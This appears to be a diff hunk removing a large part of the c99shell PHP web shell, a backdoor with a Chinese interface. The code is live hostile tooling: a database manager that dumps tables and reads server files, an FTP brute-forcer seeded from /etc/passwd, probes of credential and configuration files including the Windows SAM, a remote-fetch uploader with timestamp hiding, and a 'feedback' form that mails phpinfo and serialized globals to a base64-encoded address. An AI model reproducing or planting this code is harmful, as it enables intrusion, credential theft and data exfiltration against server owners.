";
-if ($act == "") {$act = $dspact = "ls";}
-if ($act == "sql")
-{
- $sql_surl = $surl."act=sql";
- if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
- if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
- if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
- if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
- if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
- $sql_surl .= "&";
- ?>注意! SQL-Manager is NOT ready module! Don't reports bugs. SQL 管理: ";
- if (!$sql_sock)
- {
- if (!$sql_server) {echo "拒绝连接";}
- else {echo "无法连接 "; echo "".$err." ";}
- }
- else
- {
- $sqlquicklaunch = array();
- $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
- $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
- $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
- $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
- $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
- $sqlquicklaunch[] = array("Logout",$surl."act=sql");
- echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
- if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
- echo " ";
- }
- echo " ";
- if (!$sql_sock) {?> ! If login is null, login is owner of process. 如果主机为空,则主机为本地主机(LOCAL) 如果端口为空,则默认端口为:3306 请填写表单: " class="STYLE1">主页
- ".htmlspecialchars($sql_db)." ]--- ";
- $c = 0;
- while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "?nbsp;".htmlspecialchars($row[0])." (".$count_row[0].") "; mysql_free_result($count); $c++;}
- if (!$c) {echo "数据库中没有表.";}
- }
- }
- else
- {
- ?>主页 ";
- //Start center panel
- $diplay = TRUE;
- if ($sql_db)
- {
- if (!is_numeric($c)) {$c = 0;}
- if ($c == 0) {$c = "no";}
- echo "有 ".$c." 表在这个数据库里 (".htmlspecialchars($sql_db)."). ";
- if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
- echo " ";
- $acts = array("","dump");
- if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
- elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
- elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
- elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
- elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
- elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
- elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
- elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
- elseif ($sql_tbl_act == "insert")
- {
- if ($sql_tbl_insert_radio == 1)
- {
- $keys = "";
- $akeys = array_keys($sql_tbl_insert);
- foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
- if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
- $values = "";
- $i = 0;
- foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
- if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
- $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
- $sql_act = "query";
- $sql_tbl_act = "browse";
- }
- elseif ($sql_tbl_insert_radio == 2)
- {
- $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
- $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
- $result = mysql_query($sql_query) or print(mysql_smarterror());
- $result = mysql_fetch_array($result, MYSQL_ASSOC);
- $sql_act = "query";
- $sql_tbl_act = "browse";
- }
- }
- if ($sql_act == "query")
- {
- echo " ";
- if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "错误: ".$sql_query_error." ";}
- if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
- if ((!$submit) or ($sql_act)) {echo "";}
- }
- if (in_array($sql_act,$acts))
- {
- ?>";}
- if ($sql_act == "newtbl")
- {
- echo "";
- if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" 已经添加成功! ";
- }
- else {echo "无法添加数据库 \"".htmlspecialchars($sql_newdb)."\". 原因: ".mysql_smarterror();}
- }
- elseif ($sql_act == "dump")
- {
- if (empty($submit))
- {
- $diplay = FALSE;
- echo "SQL-存储: ";
- echo "DB: ";
- $v = join (";",$dmptbls);
- echo "只有表(explode \";\") 1 : ";
- if ($dump_file) {$tmp = $dump_file;}
- else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
- echo "文件: ";
- echo "下载: ";
- echo "保存到文件: ";
- echo "1 - all, if empty";
- echo " ";
- }
- else
- {
- $diplay = TRUE;
- $set = array();
- $set["sock"] = $sql_sock;
- $set["db"] = $sql_db;
- $dump_out = "download";
- $set["print"] = 0;
- $set["nl2br"] = 0;
- $set[""] = 0;
- $set["file"] = $dump_file;
- $set["add_drop"] = TRUE;
- $set["onlytabs"] = array();
- if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
- $ret = mysql_dump($set);
- if ($sql_dump_download)
- {
- @ob_clean();
- header("Content-type: application/octet-stream");
- header("Content-length: ".strlen($ret));
- header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
- echo $ret;
- exit;
- }
- elseif ($sql_dump_savetofile)
- {
- $fp = fopen($sql_dump_file,"w");
- if (!$fp) {echo "存储错误! 无法写入到 \"".htmlspecialchars($sql_dump_file)."\"!";}
- else
- {
- fwrite($fp,$ret);
- fclose($fp);
- echo "已转存!转存已写入到 \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
- }
- }
- else {echo "Dump:什么都没有做! ";}
- }
- }
- if ($diplay)
- {
- if (!empty($sql_tbl))
- {
- if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
- $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
- $count_row = mysql_fetch_array($count);
- mysql_free_result($count);
- $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
- $tbl_struct_fields = array();
- while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
- if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
- if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
- if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
- if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
- $perpage = $sql_tbl_le - $sql_tbl_ls;
- if (!is_numeric($perpage)) {$perpage = 10;}
- $numpages = $count_row[0]/$perpage;
- $e = explode(" ",$sql_order);
- if (count($e) == 2)
- {
- if ($e[0] == "d") {$asc_desc = "DESC";}
- else {$asc_desc = "ASC";}
- $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
- }
- else {$v = "";}
- $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
- $result = mysql_query($query) or print(mysql_smarterror());
- echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) ";
- echo "[ 结构 ] ";
- echo "[ 浏览 ] ";
- echo "[ 存储 ] ";
- echo "[ 插入 ] ";
- if ($sql_tbl_act == "structure") {echo "即将进入! ";}
- if ($sql_tbl_act == "insert")
- {
- if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
- if (!empty($sql_tbl_insert_radio))
- {
-
- }
- else
- {
- echo "插入列到表中: ";
- if (!empty($sql_tbl_insert_q))
- {
- $sql_query = "SELECT * FROM `".$sql_tbl."`";
- $sql_query .= " WHERE".$sql_tbl_insert_q;
- $sql_query .= " LIMIT 1;";
- $result = mysql_query($sql_query,$sql_sock) or print(" ".mysql_smarterror());
- $values = mysql_fetch_assoc($result);
- mysql_free_result($result);
- }
- else {$values = array();}
- echo " ";
- echo "作为新列插入 ";
- if (!empty($sql_tbl_insert_q)) {echo " or 保存 "; echo " ";}
- echo " ";
- }
- }
- if ($sql_tbl_act == "browse")
- {
- $sql_tbl_ls = abs($sql_tbl_ls);
- $sql_tbl_le = abs($sql_tbl_le);
- echo " ";
- echo " ";
- $b = 0;
- for($i=0;$i<$numpages;$i++)
- {
- if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}
- echo $i;
- if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";}
- if (($i/30 == round($i/30)) and ($i > 0)) {echo " ";}
- else {echo " ";}
- }
- if ($i == 0) {echo "empty";}
- echo "From: To: ";
- echo "";
- echo "选择: ";
- echo "删除 ";
- echo "
";
- }
- }
- else
- {
- $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
- if (!$result) {echo mysql_smarterror();}
- else
- {
- echo "";
- echo "选择: ";
- echo "撤消 ";
- echo "清空 ";
- echo "转存 ";
- echo "检查表 ";
- echo "优化表 ";
- echo "修复表 ";
- echo "表分析 ";
- echo "
";
- mysql_free_result($result);
- }
- }
- }
- }
- }
- else
- {
- $acts = array("","newdb","serverstatus","servervars","processes","getfile");
- if (in_array($sql_act,$acts)) {?>";
- if ($sql_act == "newdb")
- {
- echo "";
- if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" 已成功添加! ";}
- else {echo "无法添加数据库 \"".htmlspecialchars($sql_newdb)."\". 原因: ".mysql_smarterror();}
- }
- if ($sql_act == "serverstatus")
- {
- $result = mysql_query("SHOW STATUS", $sql_sock);
- echo "服务器状态变量: ";
- echo "名字 值 ";
- while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
- echo "
";
- mysql_free_result($result);
- }
- if ($sql_act == "servervars")
- {
- $result = mysql_query("SHOW VARIABLES", $sql_sock);
- echo "服务器变量: ";
- echo "名字 值 ";
- while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
- echo "
";
- mysql_free_result($result);
- }
- if ($sql_act == "processes")
- {
- if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "结束进程 #".$kill."... ok. 终结了, 阿门. ";}
- $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
- echo "进程: ";
- echo "ID 用户 主机 数据库 命令 时间 状态 信息 Action ";
- while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
- echo "
";
- mysql_free_result($result);
- }
- if ($sql_act == "getfile")
- {
- $tmpdb = $sql_login."_tmpdb";
- $select = mysql_select_db($tmpdb);
- if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
- if ($select)
- {
- $created = FALSE;
- mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
- mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
- $result = mysql_query("SELECT * FROM tmp_file;");
- if (!$result) {echo "读取文件错误(权限拒绝)! ";}
- else
- {
- for ($i=0;$i文件 \"".$sql_getfile."\" 不存在或为空! ";}
- else {echo "文件 \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f))." ";}
- mysql_free_result($result);
- mysql_query("DROP TABLE tmp_file;");
- }
- }
- mysql_drop_db($tmpdb); //comment it if you want to leave database
- }
- }
- }
- }
- echo "
";
- if ($sql_sock)
- {
- $affected = @mysql_affected_rows($sql_sock);
- if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
- echo " 受影响的列: ".$affected." ";
- }
- echo "
";
-}
-if ($act == "mkdir")
-{
- if ($mkdir != $d)
- {
- if (file_exists($mkdir)) {echo "生成目录 \"".htmlspecialchars($mkdir)."\" : 目标已存在";}
- elseif (!mkdir($mkdir)) {echo "生成目录 \"".htmlspecialchars($mkdir)."\" : 拒绝访问";}
- echo " ";
- }
- $act = $dspact = "ls";
-}
-if ($act == "ftpquickbrute")
-{
- echo "Ftp Quick brute: ";
- if (!win) {echo "此功能无法在windows平台使用! ";}
- else
- {
- function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
- {
- if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
- else {$TRUE = TRUE;}
- if ($TRUE)
- {
- $sock = @ftp_connect($host,$port,$timeout);
- if (@ftp_login($sock,$login,$pass))
- {
- echo "连接到 ".$host." with login \"".$login."\" and password \"".$pass."\" . ";
- ob_flush();
- return TRUE;
- }
- }
- }
- if (!empty($submit))
- {
- if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
- $fp = fopen("/etc/passwd","r");
- if (!$fp) {echo "无法取得 /etc/passwd for password-list.";}
- else
- {
- if ($fqb_logging)
- {
- if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
- else {$fqb_logfp = FALSE;}
- $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
- if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
- }
- ob_flush();
- $i = $success = 0;
- $ftpquick_st = getmicrotime();
- while(!feof($fp))
- {
- $str = explode(":",fgets($fp,2048));
- if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
- {
- echo "连接到 ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\" ";
- $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
- if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
- $success++;
- ob_flush();
- }
- if ($i > $fqb_lenght) {break;}
- $i++;
- }
- if ($success == 0) {echo "连接失败!"; $fqb_log .= "No success. connections!\r\n";}
- $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
- echo "完成! 总计 (secs.): ".$ftpquick_t." 总连接: ".$i." 成功.: ".$success." 失败.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
- $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
- if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
- if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
- fclose($fqb_logfp);
- }
- }
- else
- {
- $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
- $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
- echo " 优先读取: 用户只以 shell 登陆 登陆进文件 Logging to e-mail? ";
- }
- }
-}
-if ($act == "d")
-{
- if (!is_dir($d)) {echo "权限拒绝! ";}
- else
- {
- echo "目录信息: ";
- if (!$win)
- {
- echo "用户/组 ";
- $ow = posix_getpwuid(fileowner($d));
- $gr = posix_getgrgid(filegroup($d));
- $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
- }
- echo " Perms ".view_perms_color($d)." 添加时间 ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
- }
-}
-if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
-if ($act == "security")
-{
- echo "服务器安全信息: Open base dir: ".$hopenbasedir." ";
- if (!$win)
- {
- if ($nixpasswd)
- {
- if ($nixpasswd == 1) {$nixpasswd = 0;}
- echo "*nix /etc/passwd: ";
- if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
- if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
- echo "从: 到: ";
- $i = $nixpwd_s;
- while ($i < $nixpwd_e)
- {
- $uid = posix_getpwuid($i);
- if ($uid)
- {
- $uid["dir"] = "".$uid["dir"]." ";
- echo join(":",$uid)." ";
- }
- $i++;
- }
- }
- else {echo "获得 /etc/passwd ";}
- }
- else
- {
- $v = $_SERVER["WINDIR"]."\repair\sam";
- if (file_get_contents($v)) {echo "无法破解 winnt 密码(".$v.") ";}
- else {echo "可以破解 winnt 密码. 下载 , 使用 lcp.crack+ ";}
- }
- if (file_get_contents("/etc/userdomains")) {echo "浏览 cpanel 用户域名日志 ";}
- if (file_get_contents("/var/cpanel/accounting.log")) {echo "浏览 cpanel 日志 ";}
- if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache 配置 (httpd.conf) ";}
- if (file_get_contents("/etc/httpd.conf")) {echo "Apache 配置 (httpd.conf) ";}
- if (file_get_contents("/etc/syslog.conf")) {echo "系统日志配置(syslog.conf) ";}
- if (file_get_contents("/etc/motd")) {echo "每日提示 ";}
- if (file_get_contents("/etc/hosts")) {echo "主机 ";}
- function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)." ";}}
- displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
- displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
- displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
- displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
- displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
- displaysecinfo("RAM",myshellexec("free -m"));
- displaysecinfo("HDD space",myshellexec("df -h"));
- displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
- displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
- displaysecinfo("Is cURL installed?",myshellexec("which curl"));
- displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
- displaysecinfo("Is links installed?",myshellexec("which links"));
- displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
- displaysecinfo("Is GET installed?",myshellexec("which GET"));
- displaysecinfo("Is perl installed?",myshellexec("which perl"));
- displaysecinfo("Where is apache",myshellexec("whereis apache"));
- displaysecinfo("Where is perl?",myshellexec("whereis perl"));
- displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
- displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
- displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
- displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
-}
-if ($act == "mkfile")
-{
- if ($mkfile != $d)
- {
- if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : 项目已存在";}
- elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : 拒绝访问";}
- else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
- }
- else {$act = $dspact = "ls";}
-}
-if ($act == "encoder")
-{
- echo "编码: 输入: ".@htmlspecialchars($encoder_input)." Hashes :";
- foreach(array("md5","crypt","sha1","crc32") as $v)
- {
- echo $v." - ";
- }
- echo " Url: urlencode -
- urldecode -
- Base64: base64_encode - ";
- echo "base64_decode - ";
- if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo " ";}
- else
- {
- $debase64 = base64_decode($encoder_input);
- $debase64 = str_replace("\0","[0]",$debase64);
- $a = explode("\r\n",$debase64);
- $rows = count($a);
- $debase64 = htmlspecialchars($debase64);
- if ($rows == 1) {echo " ";}
- else {$rows++; echo "".$debase64." ";}
- echo " ^ ";
- }
- echo " Base convertations :dec2hex - ";
-}
-if ($act == "fsbuff")
-{
- $arr_copy = $sess_data["copy"];
- $arr_cut = $sess_data["cut"];
- $arr = array_merge($arr_copy,$arr_cut);
- if (count($arr) == 0) {echo "缓存为空! ";}
- else {echo "文件系统缓存 "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
-}
-if ($act == "selfremove")
-{
- if (($submit == $rndcode) and ($submit != ""))
- {
- if (unlink(__FILE__)) {@ob_clean(); echo "感谢您使用 c99shell v.".$shver."!"; c99shexit(); }
- else {echo "不能删除 ".__FILE__."! ";}
- }
- else
- {
- if (!empty($rndcode)) {echo "错误: 不正确 confimation! ";}
- $rnd = rand(0,9).rand(0,9).rand(0,9);
- echo "移动: ".__FILE__." 你确定? 确认, 请键入 \"".$rnd."\" : ";
- }
-}
-if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "".$ret." "; if (stristr($ret,"new version")) {echo " ";}}
-if ($act == "feedback")
-{
- $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
- if (!empty($submit))
- {
- $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
- $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
- if (!empty($fdbk_ref))
- {
- $tmp = @ob_get_contents();
- ob_clean();
- phpinfo();
- $phpinfo = base64_encode(ob_get_contents());
- ob_clean();
- echo $tmp;
- $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
- }
- mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
- echo "感谢您的返馈! 您的帐号 ID: ".$ticket.". ";
- }
- else {echo "反馈或报告BUG(".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."): 您的名字: 您的 e-mail: 想说的话:".htmlspecialchars($fdbk_body)." 附加服务器信息 * 没有报到形式. * - 强烈推荐, 希望您报告BUG, 因为我们需要它来改进木马. 我们了解的语言: 英语, 俄语。 ";}
-}
-if ($act == "search")
-{
- echo "在文件中查找: ";
- if (empty($search_in)) {$search_in = $d;}
- if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
- if (empty($search_text_wwo)) {$search_text_regexp = 0;}
- if (!empty($submit))
- {
- $found = array();
- $found_d = 0;
- $found_f = 0;
- $search_i_f = 0;
- $search_i_d = 0;
- $a = array
- (
- "name"=>$search_name, "name_regexp"=>$search_name_regexp,
- "text"=>$search_text, "text_regexp"=>$search_text_regxp,
- "text_wwo"=>$search_text_wwo,
- "text_cs"=>$search_text_cs,
- "text_not"=>$search_text_not
- );
- $searchtime = getmicrotime();
- $in = array_unique(explode(";",$search_in));
- foreach($in as $v) {c99fsearch($v);}
- $searchtime = round(getmicrotime()-$searchtime,4);
- if (count($found) == 0) {echo "没有找到文件! ";}
- else
- {
- $ls_arr = $found;
- $disp_fullpath = TRUE;
- $act = "ls";
- }
- }
- echo "
-
-Search for (file/folder name): - regexp
-Search in (explode \";\"):
-Text: ".htmlspecialchars($search_text)."
- - regexp
- - w hole words only
- - case sensitive
- - find files NOT containing the text
- ";
- if ($act == "ls") {$dspact = $act; echo "查找 took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";}
-}
-if ($act == "chmod")
-{
- $mode = fileperms($d.$f);
- if (!$mode) {echo "更改文件属性错误: 不能取得当前值.";}
- else
- {
- $form = TRUE;
- if ($chmod_submit)
- {
- $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
- if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
- else {$err = "Can't chmod to ".$octet.".";}
- }
- if ($form)
- {
- $perms = parse_perms($mode);
- echo "改变文件属性 (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"错误: ".$err:"")." ";
- }
- }
-}
-if ($act == "upload")
-{
- $uploadmess = "";
- $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
- if (empty($uploadpath)) {$uploadpath = $d;}
- elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
- if (!empty($submit))
- {
- global $HTTP_POST_FILES;
- $uploadfile = $HTTP_POST_FILES["uploadfile"];
- if (!empty($uploadfile["tmp_name"]))
- {
- if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
- else {$destin = $userfilename;}
- if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"! ";}
- }
- elseif (!empty($uploadurl))
- {
- if (!empty($uploadfilename)) {$destin = $uploadfilename;}
- else
- {
- $destin = explode("/",$destin);
- $destin = $destin[count($destin)-1];
- if (empty($destin))
- {
- $i = 0;
- $b = "";
- while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
- }
- if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
- else
- {
- $st = getmicrotime();
- $content = @file_get_contents($uploadurl);
- $dt = round(getmicrotime()-$st,4);
- if (!$content) {$uploadmess .= "Can't download file! ";}
- else
- {
- if ($filestealth) {$stat = stat($uploadpath.$destin);}
- $fp = fopen($uploadpath.$destin,"w");
- if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
- else
- {
- fwrite($fp,$content,strlen($content));
- fclose($fp);
- if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
- }
- }
- }
- }
- }
- if ($miniform)
- {
- echo "".$uploadmess." ";
- $act = "ls";
- }
- else
- {
- echo "文件上传: ".$uploadmess."
-Select file on your local computer: or
-Input URL:
-Save this file dir:
-File-name (auto-fill):
- convert file name to lovercase
-
- ";
- }
-}
-if ($act == "delete")
-{
- $delerr = "";
- foreach ($actbox as $v)
- {
- $result = FALSE;
- $result = fs_rmobj($v);
- if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
- }
- if (!empty($delerr)) {echo "删除出错: ".$delerr;}
- $act = "ls";
-}
-if (!$usefsbuff)
-{
- if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, 缓冲存储损坏. For enable, set directive \"\$useFSbuff\" as TRUE. ";}
-}
-else
-{
